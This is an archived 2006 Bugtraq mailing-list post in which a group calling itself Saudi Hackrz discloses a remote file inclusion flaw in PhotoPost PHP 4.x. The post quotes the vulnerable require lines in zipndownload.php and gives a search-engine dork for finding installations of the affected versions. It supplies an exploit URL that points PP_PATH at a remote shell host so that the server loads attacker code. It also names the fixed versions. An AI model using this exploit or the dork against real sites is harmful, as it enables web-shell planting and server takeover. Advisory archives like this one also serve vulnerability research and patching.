

PhotoPost => 4.6 (PP_PATH) Remote File Inclusion Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2006-09/msg00243.html>

- *From:* Saudi.unix@xxxxxxxxxxx
 - *Date:* 15 Sep 2006 09:24:57 -0000
-

```
#=====
#PhotoPost => 4.6 (PP_PATH) Remote File Inclusion Exploit
#=====
#
#Critical Level : Dangerous
#
#By Saudi Hackrz
#
#http://www.poppphoto.com/
#
#=====
#
#Script Name: PhotoPost 4.6 & 4.5 & 4.x.....4.0
#Fix : update To 4.7 or 4.8
#Script :)
#http://www.9q9q.net/up3/index.php?f=UyTfHCHlg
#
#=====
#Bug in : zipndownload.php
#require "$PP_PATH/languages/$pplang/showgallery.php";
#require "$PP_PATH/login-inc.php";
#
#in <<<< zipndownload.php & .... :)
#Dork :in Yahoo ----: "Powered by: PhotoPost PHP 4.6" or "Powered by: PhotoPost PHP 4.5"
#=====
#
#Exploit :
#-----
#
#http://site.com/\[path\]/zipndownload.php?PP\_PATH=http://SHELLURL.COM?
#
#-----I LOVE SAUDI
ARABIA=====
#Discoverd By : Saudi Hackrz
#
#Conatact : Saudi.unix[at]hotmail.com
#
#GreetZ :Tr_ZiNDaN,BlackWolf,SnIpEr_Sa , King18 , LeCoPrA And All My Frind
```

PhotoPost => 4.6 (PP_PATH) Remote File Inclusion Exploit

```
=====I LOVE SAUDI  
ARABIA=====
```